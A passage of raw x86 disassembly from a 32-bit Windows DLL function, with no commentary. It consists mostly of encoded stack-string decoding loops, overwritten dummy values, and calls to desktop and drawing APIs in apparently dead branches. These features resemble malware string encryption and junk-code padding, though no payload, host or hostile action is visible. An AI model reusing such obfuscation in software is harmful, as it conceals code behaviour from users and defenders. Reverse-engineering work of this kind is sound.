mov dword [ebp - 0x36f], 0x229c0e6f
mov dword [ebp - 0x36b], 0x1c9b2773
mov dword [ebp - 0x367], 0x6472c9f
mov dword [ebp - 0x363], 0xc8624ad
mov dword [ebp - 0x35f], 0x297423ac
mov dword [ebp - 0x35b], 0x5b717ac
mov byte [ebp - 0x357], 0xb0
mov byte [ebp - 0x355], 0xae
mov byte [ebp - 0x354], al
mov dword [ebp - 0x353], 0xb208c1
mov dword [ebp - 0x34f], 0x1e931d5c
mov word [ebp - 0x34b], 0x13cb
mov byte [ebp - 0x349], 0x62
cmp ecx, 0x1c
jne 0x100ed2dc
push 0xa
pop esi
push 0x24
pop ecx
jmp 0x100ed30f
movzx eax, byte [ebp + ecx - 0x3ab]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100ed2ff
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x3ac]
mov word [ebp + eax*2 - 0x212c], dx
add ecx, 2
cmp ecx, 0x64
jb 0x100ed2cf
xor eax, eax
lea ecx, [ebp - 0x1d24]
mov word [ebp - 0x20d2], ax
lea eax, [ebp - 0x212c]
push eax
call fcn.100140d4
mov edx, eax
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x1b2c]
call fcn.1004595d
push ebx
push 1
lea ecx, [ebp - 0x1d24]
mov byte [ebp - 4], 1
call fcn.10014706
push 0x17
pop ecx
push 9
xor eax, eax
mov dword [ebp - 0x208], 0xc005403
lea edi, [ebp - 0x212c]
mov word [ebp - 0x204], 0x6605
rep stosd dword es:[edi], eax
pop eax
push 0x18
mov byte [ebp - 0x202], al
mov ecx, ebx
pop eax
push 7
mov byte [ebp - 0x1fa], al
mov esi, ebx
pop eax
push 4
mov byte [ebp - 0x1e8], al
pop eax
mov dword [ebp - 0x201], 0x19a80676
mov word [ebp - 0x1fd], 0xf6ab
mov byte [ebp - 0x1fb], bl
mov dword [ebp - 0x1f9], 0x6431a36
mov dword [ebp - 0x1f5], 0xb700d7f
mov dword [ebp - 0x1f1], 0x164f027f
mov dword [ebp - 0x1ed], 0x19491145
mov byte [ebp - 0x1e9], 0x4a
mov dword [ebp - 0x1e7], 0x128f0e8f
mov byte [ebp - 0x1e3], 0x4f
mov byte [ebp - 0x1e2], al
mov dword [ebp - 0x1e1], 0xa771b95
mov dword [ebp - 0x1dd], 0x1465109a
mov dword [ebp - 0x1d9], 0x175b1359
mov dword [ebp - 0x1d5], 0xc380161
mov dword [ebp - 0x1d1], 0xf601595
mov word [ebp - 0x1cd], 0x8ae
mov byte [ebp - 0x1cb], 0x79
cmp ecx, 8
jne 0x100ed445
push 6
pop esi
push 0xc
pop ecx
jmp 0x100ed478
movzx eax, byte [ebp + ecx - 0x207]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100ed468
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x208]
mov word [ebp + eax*2 - 0x1fb8], dx
add ecx, 2
cmp ecx, 0x3e
jb 0x100ed438
xor eax, eax
lea ecx, [ebp - 0x1cdc]
mov word [ebp - 0x1f80], ax
lea eax, [ebp - 0x1fb8]
push eax
call fcn.100140d4
mov edx, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x1b2c]
call fcn.1004595d
push ebx
push 1
lea ecx, [ebp - 0x1cdc]
mov byte [ebp - 4], 1
call fcn.10014706
push 0xe
pop ecx
xor eax, eax
lea edi, [ebp - 0x1fb8]
rep stosd dword es:[edi], eax
push 2
pop edx
lea ecx, [ebp - 0x1cf4]
stosw word es:[edi], ax
call fcn.100ea987
mov edx, eax
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x1b2c]
call fcn.1004595d
push ebx
push 1
lea ecx, [ebp - 0x1cf4]
mov byte [ebp - 4], 1
call fcn.10014706
push 4
pop eax
push 7
mov byte [ebp - 0x1aa], al
mov ecx, ebx
pop eax
push 9
mov byte [ebp - 0x1a6], al
mov esi, ebx
pop eax
mov dword [ebp - 0x1c8], 0xa0e3d00
mov dword [ebp - 0x1c4], 0x547d6f4b
mov dword [ebp - 0x1c0], 0x7cdcf979
mov dword [ebp - 0x1bc], 0xfb90ec75
mov dword [ebp - 0x1b8], 0x660c750d
mov dword [ebp - 0x1b4], 0x820e750a
mov dword [ebp - 0x1b0], 0x1710490f
mov word [ebp - 0x1ac], 0x8306
mov word [ebp - 0x1a9], 0x172
mov byte [ebp - 0x1a7], 0x42
mov byte [ebp - 0x1a5], 0x57
mov byte [ebp - 0x1a4], al
mov dword [ebp - 0x1a3], 0x86c028c
mov dword [ebp - 0x19f], 0x3810b8a
mov word [ebp - 0x19b], 0x593
mov byte [ebp - 0x199], 0x93
cmp ecx, 2
jne 0x100ed5b3
push 0xe
pop esi
push esi
pop ecx
jmp 0x100ed5e6
movzx eax, byte [ebp + ecx - 0x1c7]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100ed5d6
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x1c8]
mov word [ebp + eax*2 - 0x1c54], dx
add ecx, 2
cmp ecx, 0x30
jb 0x100ed5a7
xor eax, eax
lea ecx, [ebp - 0x1e2c]
mov word [ebp - 0x1c32], ax
lea eax, [ebp - 0x1c54]
push eax
call fcn.100140d4
mov edx, eax
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x1b2c]
call fcn.1004595d
push ebx
push 1
lea ecx, [ebp - 0x1e2c]
mov byte [ebp - 4], 1
call fcn.10014706
push 9
pop edx
xor eax, eax
mov dword [ebp - 0x2ec], 0x4d0a0a00
push 0x18
mov ecx, edx
mov dword [ebp - 0x2e8], 0x9b6530db
lea edi, [ebp - 0x1c54]
mov dword [ebp - 0x2e4], 0x27d3de29
rep stosd dword es:[edi], eax
pop eax
push 7
mov byte [ebp - 0x2d6], al
mov ecx, ebx
pop eax
push 4
mov byte [ebp - 0x2d2], al
mov esi, ebx
pop eax
mov dword [ebp - 0x2e0], 0x7e0f4716
mov dword [ebp - 0x2dc], 0x45155a03
mov word [ebp - 0x2d8], 0x7f1c
mov word [ebp - 0x2d5], 0x1786
mov byte [ebp - 0x2d3], 0x70
mov dword [ebp - 0x2d1], 0x135c1a75
mov dword [ebp - 0x2cd], 0x127c1d1e
mov dword [ebp - 0x2c9], 0x8940c22
mov dword [ebp - 0x2c5], 0x22800e92
mov byte [ebp - 0x2c1], 0x5f
mov byte [ebp - 0x2c0], dl
mov dword [ebp - 0x2bf], 0x14931b8f
mov dword [ebp - 0x2bb], 0x19c1930
mov dword [ebp - 0x2b7], 0x116f0b34
mov dword [ebp - 0x2b3], 0xd922039
mov byte [ebp - 0x2af], 0x77
mov byte [ebp - 0x2ae], al
mov dword [ebp - 0x2ad], 0x1ead1f98
mov dword [ebp - 0x2a9], 0x21a00aab
mov dword [ebp - 0x2a5], 0x57d10a9
mov dword [ebp - 0x2a1], 0x2a806a9
mov byte [ebp - 0x29d], 0x81
cmp ecx, 2
jne 0x100ed744
push 0xa
pop esi
push esi
pop ecx
jmp 0x100ed777
movzx eax, byte [ebp + ecx - 0x2eb]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100ed767
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x2ec]
mov word [ebp + eax*2 - 0x2084], dx
add ecx, 2
cmp ecx, 0x50
jb 0x100ed738
xor eax, eax
lea ecx, [ebp - 0x1e5c]
mov word [ebp - 0x203e], ax
lea eax, [ebp - 0x2084]
push eax
call fcn.100140d4
mov edx, eax
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1b2c]
call fcn.1004595d
push ebx
push 1
lea ecx, [ebp - 0x1e5c]
mov byte [ebp - 4], 1
call fcn.10014706
push 0x12
pop ecx
xor eax, eax
mov dword [ebp - 0x84], 0xad0f3200
lea edi, [ebp - 0x2084]
mov dword [ebp - 0x80], 0xf0fe01d
rep stosd dword es:[edi], eax
push 0x11
mov ecx, ebx
mov dword [ebp - 0x7c], 0xc56dcd99
mov esi, ebx
mov dword [ebp - 0x78], 0xbb19f45
mov byte [ebp - 0x74], 0x7e
pop ebx
cmp ecx, 2
jne 0x100ed800
push 0xf
pop esi
push esi
pop ecx
jmp 0x100ed833
movzx eax, byte [ebp + ecx - 0x83]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100ed823
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x84]
mov word [ebp + eax*2 - 0x8b0], dx
add ecx, 2
cmp ecx, ebx
jb 0x100ed7f4
xor eax, eax
mov ecx, 0x5a0
mov word [ebp - 0x8ae], ax
cmp dword [ebp + 0x10], ecx
jge 0x100ed868
lea eax, [ebp - 0x8b0]
push eax
lea ecx, [ebp - 0x1ebc]
call fcn.100140d4
xor ebx, ebx
mov byte [ebp - 4], 0x10
inc ebx
jmp 0x100ed881
mov eax, dword [ebp + 0x10]
cdq
idiv ecx
lea ecx, [ebp - 0x1e8c]
mov edx, eax
call fcn.1006f574
push 2
mov dword [ebp - 4], ebx
pop ebx
mov edx, eax
mov dword [ebp - 0x44], ebx
lea ecx, [ebp - 0x1b2c]
call fcn.1004595d
test bl, 2
je 0x100ed8ab
push 0
and ebx, 0xfffffffd
lea ecx, [ebp - 0x1e8c]
push 1
mov dword [ebp - 0x44], ebx
call fcn.10014706
mov dword [ebp - 4], 1
test bl, 1
je 0x100ed8cf
and ebx, 0xfffffffe
lea ecx, [ebp - 0x1ebc]
mov dword [ebp - 0x44], ebx
xor ebx, ebx
push ebx
push 1
call fcn.10014706
jmp 0x100ed8d1
xor ebx, ebx
push 4
pop eax
push 7
mov byte [ebp - 0x344], al
mov ecx, ebx
pop eax
push 0x18
mov byte [ebp - 0x31d], al
mov esi, ebx
pop eax
push 9
mov byte [ebp - 0x313], al
pop eax
mov dword [ebp - 0x8b0], ebx
mov dword [ebp - 0x343], 0x163f127a
mov dword [ebp - 0x33f], 0x157a056d
mov dword [ebp - 0x33b], 0x414e0f6c
mov dword [ebp - 0x337], 0x809e0594
mov dword [ebp - 0x333], 0x14306287
mov dword [ebp - 0x32f], 0x53d7812d
mov dword [ebp - 0x32b], 0x4b21490e
mov dword [ebp - 0x327], 0x1b228820
mov dword [ebp - 0x323], 0x8908740c
mov word [ebp - 0x31f], 0x7c1b
mov dword [ebp - 0x31c], 0x1e570087
mov dword [ebp - 0x318], 0xa281161
mov byte [ebp - 0x314], 0x93
mov dword [ebp - 0x312], 0x1911a87
mov dword [ebp - 0x30e], 0x10330f56
mov byte [ebp - 0x30a], 0x34
mov byte [ebp - 0x309], al
mov dword [ebp - 0x308], 0x2941792
mov dword [ebp - 0x304], 0xb9f0d75
mov dword [ebp - 0x300], 0x13b01dab
mov dword [ebp - 0x2fc], 0x67d1c68
mov dword [ebp - 0x2f8], 0x19a01f86
mov dword [ebp - 0x2f4], 0x39614b6
mov byte [ebp - 0x2f0], 0xa6
cmp ecx, 0xa
jne 0x100ed9e8
push 0xf
pop esi
push 0x17
pop ecx
jmp 0x100eda1b
movzx eax, byte [ebp + ecx - 0x343]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100eda0b
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x344]
mov word [ebp + eax*2 - 0x20cc], dx
add ecx, 2
cmp ecx, 0x55
jb 0x100ed9db
xor eax, eax
lea ecx, [ebp - 0x1eec]
mov word [ebp - 0x2086], ax
lea eax, [ebp - 0x20cc]
push eax
call fcn.100140d4
mov edx, eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x1b2c]
call fcn.1004595d
push ebx
push 1
lea ecx, [ebp - 0x1eec]
mov byte [ebp - 4], 1
call fcn.10014706
push 0x12
xor eax, eax
lea edi, [ebp - 0x20cc]
cmp dword [ebp + 0x10], 0x5a0
pop ecx
rep stosd dword es:[edi], eax
jge 0x100edef8
push 4
pop eax
push 0x18
mov byte [ebp - 0x798], al
mov esi, ebx
pop eax
push 0x3c
pop ecx
push 7
mov byte [ebp - 0x795], al
mov byte [ebp - 0x792], al
pop eax
push 9
mov byte [ebp - 0x709], al
mov byte [ebp - 0x6f6], al
pop eax
mov byte [ebp - 0x70a], cl
mov byte [ebp - 0x6cf], cl
mov ecx, ebx
mov dword [ebp - 0x7a4], 0x6c3a3d12
mov dword [ebp - 0x7a0], 0x76547328
mov dword [ebp - 0x79c], 0x5d035968
mov word [ebp - 0x797], 0x1172
mov word [ebp - 0x794], 0x642f
mov dword [ebp - 0x791], 0x277e267c
mov dword [ebp - 0x78d], 0x14876086
mov dword [ebp - 0x789], 0x507e5190
mov dword [ebp - 0x785], 0x52744891
mov dword [ebp - 0x781], 0x2994997
mov dword [ebp - 0x77d], 0x4b9555c6
mov dword [ebp - 0x779], 0x33341099
mov dword [ebp - 0x775], 0x3fa3176e
mov dword [ebp - 0x771], 0x25a11a95
mov dword [ebp - 0x76d], 0x6a00aa9
mov dword [ebp - 0x769], 0x39a7439e
mov dword [ebp - 0x765], 0x45492ab1
mov dword [ebp - 0x761], 0x38b836a6
mov dword [ebp - 0x75d], 0x5b9b69a6
mov dword [ebp - 0x759], 0x2c8f1e52
mov dword [ebp - 0x755], 0x47b35856
mov dword [ebp - 0x751], 0x63b86280
mov dword [ebp - 0x74d], 0x5e602dc7
mov dword [ebp - 0x749], 0x319c4c95
mov dword [ebp - 0x745], 0xb685dcc
mov dword [ebp - 0x741], 0x1cc424d0
mov dword [ebp - 0x73d], 0x21d557b5
mov dword [ebp - 0x739], 0x4fcc16ad
mov dword [ebp - 0x735], 0x44de4ae2
mov dword [ebp - 0x731], 0x3edf66e4
mov dword [ebp - 0x72d], 0x35802be3
mov dword [ebp - 0x729], 0x65b967bd
mov dword [ebp - 0x725], 0x23e853de
mov dword [ebp - 0x721], 0x5fbf1ff3
mov dword [ebp - 0x71d], 0x20fb34ce
mov dword [ebp - 0x719], 0x640022b8
mov dword [ebp - 0x715], 0x1b034d03
mov dword [ebp - 0x711], 0x469d5acf
mov word [ebp - 0x70d], 0x5cd1
mov byte [ebp - 0x70b], 0xa0
mov dword [ebp - 0x708], 0xe14ea50e
mov dword [ebp - 0x704], 0xd21ddd0d
mov dword [ebp - 0x700], 0xea56110c
mov dword [ebp - 0x6fc], 0xe52e1732
mov word [ebp - 0x6f8], 0x1d37
mov dword [ebp - 0x6f5], 0x30104221
mov dword [ebp - 0x6f1], 0x29194125
mov dword [ebp - 0x6ed], 0x3dc000f3
mov byte [ebp - 0x6e9], 0xfe
mov byte [ebp - 0x6e8], al
mov dword [ebp - 0x6e7], 0x3bc6012f
mov dword [ebp - 0x6e3], 0x15ca0f2e
mov dword [ebp - 0x6df], 0x19034035
mov dword [ebp - 0x6db], 0x61050236
mov dword [ebp - 0x6d7], 0x133d053f
mov dword [ebp - 0x6d3], 0x80f5913
cmp ecx, 0x26
jne 0x100edce4
push 2
pop esi
jmp 0x100edd17
movzx eax, byte [ebp + ecx - 0x7a3]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100edd07
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x7a4]
mov word [ebp + eax*2 - 0x24ec], dx
add ecx, 2
cmp ecx, 0xd6
jb 0x100edcda
xor eax, eax
lea ecx, [ebp - 0x1f1c]
mov word [ebp - 0x2418], ax
lea eax, [ebp - 0x24ec]
push eax
call fcn.100140d4
mov edx, eax
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x1b2c]
call fcn.1004595d
push ebx
push 1
lea ecx, [ebp - 0x1f1c]
mov byte [ebp - 4], 1
call fcn.10014706
push 0x35
mov edx, dword [ebp + 0x14]
lea edi, [ebp - 0x24ec]
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x1b2c]
stosw word es:[edi], ax
call fcn.1004595d
push 0x18
pop eax
push 9
mov byte [ebp - 0x254], al
mov ecx, ebx
pop eax
push 7
pop edx
push 4
mov byte [ebp - 0x24c], al
mov esi, ebx
pop eax
mov dword [ebp - 0x253], 0x350006a
mov word [ebp - 0x24f], 0x144e
mov byte [ebp - 0x24d], 0x6c
mov dword [ebp - 0x24b], 0x63a026a
mov dword [ebp - 0x247], 0xc850872
mov dword [ebp - 0x243], 0x1187051b
mov dword [ebp - 0x23f], 0xa530167
mov dword [ebp - 0x23b], 0x164a1085
mov dword [ebp - 0x237], 0x12280e86
mov word [ebp - 0x233], 0x1386
mov byte [ebp - 0x231], 0x93
mov byte [ebp - 0x230], dl
mov dword [ebp - 0x22f], 0xd630f97
mov dword [ebp - 0x22b], 0x1b351c32
mov dword [ebp - 0x227], 0x19a3176b
mov byte [ebp - 0x223], 0xa0
mov byte [ebp - 0x222], dl
mov dword [ebp - 0x221], 0x7fea8505
mov word [ebp - 0x21d], 0xdf29
mov byte [ebp - 0x21b], al
mov dword [ebp - 0x21a], 0xba915a1
mov word [ebp - 0x216], 0x1a75
mov byte [ebp - 0x214], 0xa7
cmp ecx, 0x32
jne 0x100ede6f
push 0x37
mov esi, edx
pop ecx
jmp 0x100edea5
movzx eax, byte [ebp + ecx - 0x253]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100ede92
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x254]
push 7
mov word [ebp + eax*2 - 0x1ff4], dx
pop edx
add ecx, 2
cmp ecx, 0x41
jb 0x100ede63
xor eax, eax
lea ecx, [ebp - 0x1f4c]
mov word [ebp - 0x1fba], ax
lea eax, [ebp - 0x1ff4]
push eax
call fcn.100140d4
mov edx, eax
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x1b2c]
call fcn.1004595d
push ebx
push 1
lea ecx, [ebp - 0x1f4c]
mov byte [ebp - 4], 1
call fcn.10014706
push 0xf
pop ecx
xor eax, eax
lea edi, [ebp - 0x1ff4]
rep stosd dword es:[edi], eax
push 9
pop eax
push 7
mov byte [ebp - 0x10e], al
mov esi, ebx
pop eax
push 4
mov byte [ebp - 0xf0], al
mov ecx, ebx
pop eax
mov word [ebp - 0x110], 0x3002
mov dword [ebp - 0x10d], 0x26c0e64
mov dword [ebp - 0x109], 0x54a0349
mov dword [ebp - 0x105], 0xf140075
mov dword [ebp - 0x101], 0xd630b74
mov dword [ebp - 0xfd], 0x878107a
mov dword [ebp - 0xf9], 0x6891179
mov dword [ebp - 0xf5], 0x128d0a7e
mov byte [ebp - 0xf1], 0x5b
mov word [ebp - 0xef], 0xc8d
mov byte [ebp - 0xed], 0x93
mov byte [ebp - 0xec], al
mov dword [ebp - 0xeb], 0x13610184
mov byte [ebp - 0xe7], 0x31
cmp ecx, 6
jne 0x100edf98
push 2
pop esi
jmp 0x100edfcb
movzx eax, byte [ebp + ecx - 0x10f]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100edfbb
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x110]
mov word [ebp + eax*2 - 0x1cac], dx
add ecx, 2
cmp ecx, 0x2a
jb 0x100edf8e
xor eax, eax
lea ecx, [ebp - 0x1f7c]
mov word [ebp - 0x1c84], ax
lea eax, [ebp - 0x1cac]
push eax
call fcn.100140d4
mov edx, eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x1b2c]
call fcn.1004595d
push ebx
push 1
lea ecx, [ebp - 0x1f7c]
mov byte [ebp - 4], 1
call fcn.10014706
push 0xa
pop ecx
xor eax, eax
lea edi, [ebp - 0x1cac]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
movdqa xmm0, xmmword [0x1000f230]
lea ecx, [ebp - 0x1b6c]
push ecx
lea eax, [ebp - 0x1b5c]
push eax
push ecx
lea ecx, [ebp - 0x1a68]
movdqu xmmword [ebp - 0x1b6c], xmm0
call fcn.100141e1
mov dword [ebp - 0x1c], 0xfffffffd
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100ee07d
push ebx
push 0x212
push 0x54e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov ebx, dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
jmp 0x100ee083
mov ebx, dword [sym.imp.USER32.dll_GetDC]
push 4
mov dword [ebp - 0x1c], 0
pop edx
jmp 0x100ee0a2
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1a68]
mov dword [eax + ecx*4], 0x71c7bf0b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x100ee08f
lea ecx, [ebp - 0x1a68]
call fcn.100147a9
push 4
pop eax
test byte [ebp + 0xc], al
je 0x100ee2d1
push 9
pop edx
push 0x18
pop ecx
push 7
mov byte [ebp - 0x52c], al
mov byte [ebp - 0x54e], cl
xor ecx, ecx
pop eax
mov dword [ebp - 0x58c], 0x6f176836
xor esi, esi
mov dword [ebp - 0x588], 0x6e35431a
mov dword [ebp - 0x584], 0x47016d19
mov dword [ebp - 0x580], 0x811c7127
mov dword [ebp - 0x57c], 0x7c34802e
mov dword [ebp - 0x578], 0x8514511f
mov dword [ebp - 0x574], 0x6f325512
mov dword [ebp - 0x570], 0x5d394c2c
mov dword [ebp - 0x56c], 0x8a2f961d
mov dword [ebp - 0x568], 0x632b2e00
mov word [ebp - 0x564], 0x670e
mov byte [ebp - 0x562], dl
mov dword [ebp - 0x561], 0x26a11b94
mov dword [ebp - 0x55d], 0xa602094
mov dword [ebp - 0x559], 0x1596239a
mov dword [ebp - 0x555], 0x3850298
mov word [ebp - 0x551], 0x38aa
mov byte [ebp - 0x54f], 0xaf
mov dword [ebp - 0x54d], 0x11af06a4
mov dword [ebp - 0x549], 0x3a8a214c
mov dword [ebp - 0x545], 0x2dae3751
mov dword [ebp - 0x541], 0x8561097
mov dword [ebp - 0x53d], 0xc5b29c1
mov dword [ebp - 0x539], 0x335f0fb8
mov dword [ebp - 0x535], 0x22cb0dc9
mov dword [ebp - 0x531], 0x24cc05c9
mov byte [ebp - 0x52d], 0xc1
mov dword [ebp - 0x52b], 0x306c2ac8
mov dword [ebp - 0x527], 0x13d325d4
mov dword [ebp - 0x523], 0x1ed931ae
mov byte [ebp - 0x51f], 0xd2
mov byte [ebp - 0x51e], dl
mov dword [ebp - 0x51d], 0x7c7e914d
mov dword [ebp - 0x519], 0xd5e89d5d
mov dword [ebp - 0x515], 0xaf28d116
mov word [ebp - 0x511], 0xda0b
mov byte [ebp - 0x50f], al
mov byte [ebp - 0x50e], 0xc9
cmp ecx, 0x6e
jne 0x100ee244
push 0x75
mov esi, edx
pop ecx
jmp 0x100ee27a
movzx eax, byte [ebp + ecx - 0x58b]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100ee267
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x58c]
push 9
mov word [ebp + eax*2 - 0x22e4], dx
pop edx
add ecx, 2
cmp ecx, 0x7f
jb 0x100ee238
xor eax, eax
lea ecx, [ebp - 0x1e44]
mov word [ebp - 0x226e], ax
lea eax, [ebp - 0x22e4]
push eax
call fcn.100140d4
mov edx, eax
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x1b2c]
call fcn.1004595d
push 0
push 1
lea ecx, [ebp - 0x1e44]
mov byte [ebp - 4], 1
call fcn.10014706
push 0x1e
pop ecx
xor eax, eax
lea edi, [ebp - 0x22e4]
push 4
rep stosd dword es:[edi], eax
pop eax
push eax
lea ecx, [ebp - 0x9cc]
call fcn.100141a5
xor edx, edx
push 4
mov dword [ebp - 0x1c], edx
pop eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x1c], edx
jmp 0x100ee303
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x9cc]
push 4
mov dword [eax + ecx*4], 0xb3198a8f
inc dword [ebp - 0x1c]
pop eax
cmp dword [ebp - 0x1c], eax
jl 0x100ee2ed
mov dword [ebp - 0x1c], edx
jmp 0x100ee31e
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x9cc]
cmp dword [eax + ecx*4], edx
jne 0x100ee324
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jle 0x100ee30d
lea ecx, [ebp - 0x9cc]
call fcn.100147a9
push 9
pop eax
push 7
mov byte [ebp - 0x134], al
xor ecx, ecx
pop eax
push 4
mov byte [ebp - 0x12c], al
xor esi, esi
pop eax
mov dword [ebp - 0x13c], 0xd0b7308
mov dword [ebp - 0x138], 0x43006c05
mov dword [ebp - 0x133], 0xa5f027c
mov word [ebp - 0x12f], 0x14b
mov byte [ebp - 0x12d], 0x3e
mov dword [ebp - 0x12b], 0x38191276
mov dword [ebp - 0x127], 0xa48f6f25
mov dword [ebp - 0x123], 0x4a7079b7
mov dword [ebp - 0x11f], 0xb6d1172e
mov dword [ebp - 0x11b], 0x64bc67a
mov byte [ebp - 0x117], 0x7a
mov byte [ebp - 0x116], al
mov word [ebp - 0x115], 0x37e
mov byte [ebp - 0x113], 0x89
cmp ecx, 0x12
jne 0x100ee3d1
push ecx
pop esi
push 0x22
pop ecx
jmp 0x100ee404
movzx eax, byte [ebp + ecx - 0x13b]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100ee3f4
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x13c]
mov word [ebp + eax*2 - 0x1bf0], dx
add ecx, 2
cmp ecx, 0x2a
jb 0x100ee3c5
xor eax, eax
lea ecx, [ebp - 0x1d6c]
mov word [ebp - 0x1bd8], ax
lea eax, [ebp - 0x1bf0]
push eax
call fcn.100140d4
mov edx, eax
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x1b2c]
call fcn.1004595d
push 0
push 1
lea ecx, [ebp - 0x1d6c]
mov byte [ebp - 4], 1
call fcn.10014706
mov dword [ebp - 0x28], 0x8c6a53d0
mov dword [ebp - 0x28], 0
cmp dword [ebp - 0x28], 0xfffffff6
jle 0x100ee58b
lea esi, [ebp - 0x1b5c]
lea edi, [ebp - 0x1b4c]
movdqa xmm0, xmmword [0x1000f1e0]
push ecx
push edi
push esi
lea ecx, [ebp - 0x920]
movdqu xmmword [ebp - 0x1b5c], xmm0
call fcn.100141e1
xor edx, edx
mov dword [ebp - 0x14], 0xa1836ccb
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], 3
jg 0x100ee558
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x920]
cmp dword [eax + ecx*4], edx
je 0x100ee50c
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x1c], edx
jmp 0x100ee4cc
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x920]
mov dword [eax + ecx*4], 1
inc dword [ebp - 0x1c]
push 4
pop eax
cmp dword [ebp - 0x1c], eax
jl 0x100ee4b9
mov byte [ebp - 0x15], dl
cmp byte [ebp - 0x15], 0
je 0x100ee548
push 0x728
push 0x131f
push 0x4b6
push 0x6ff
push 0x1b0f
push edx
push edx
push edx
push edx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_DrawStateW]
jmp 0x100ee548
mov dword [ebp - 0x1c], 0xb61d2250
mov dword [ebp - 0x1c], 3
cmp dword [ebp - 0x1c], edx
jl 0x100ee545
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x920]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x920]
cmp dword [eax + ecx*4], 0
jne 0x100ee545
dec dword [ebp - 0x1c]
jns 0x100ee51f
mov eax, dword [ebp - 0x14]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
push 0
pop edx
jle 0x100ee4a3
mov byte [ebp - 0x15], dl
cmp byte [ebp - 0x15], 0
je 0x100ee573
push 0x1e72
push edx
push 0x83a
push edx
call dword [sym.imp.USER32.dll_LoadStringA]
lea ecx, [ebp - 0x920]
call fcn.100147a9
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff6
jg 0x100ee46f
push 6
pop ecx
xor eax, eax
mov dword [ebp - 0x494], 0x63133d00
lea edi, [ebp - 0x1bf0]
mov dword [ebp - 0x490], 0x47c365a6
rep stosd dword es:[edi], eax
push 7
xor ecx, ecx
mov dword [ebp - 0x48c], 0xeef6388d
mov dword [ebp - 0x488], 0xac832122
xor esi, esi
stosw word es:[edi], ax
pop eax
push 4
mov byte [ebp - 0x473], al
pop eax
push 9
mov byte [ebp - 0x44f], al
pop eax
push 0x18
mov byte [ebp - 0x42d], al
pop eax
mov dword [ebp - 0x484], 0xf08cc5f3
mov dword [ebp - 0x480], 0x2d3f284a
mov dword [ebp - 0x47c], 0xb452f4e
mov dword [ebp - 0x478], 0x142d2347
mov byte [ebp - 0x474], 0x76
mov dword [ebp - 0x472], 0x1672087f
mov dword [ebp - 0x46e], 0x17521b74
mov dword [ebp - 0x46a], 0xe7c1383
mov dword [ebp - 0x466], 0x2722957
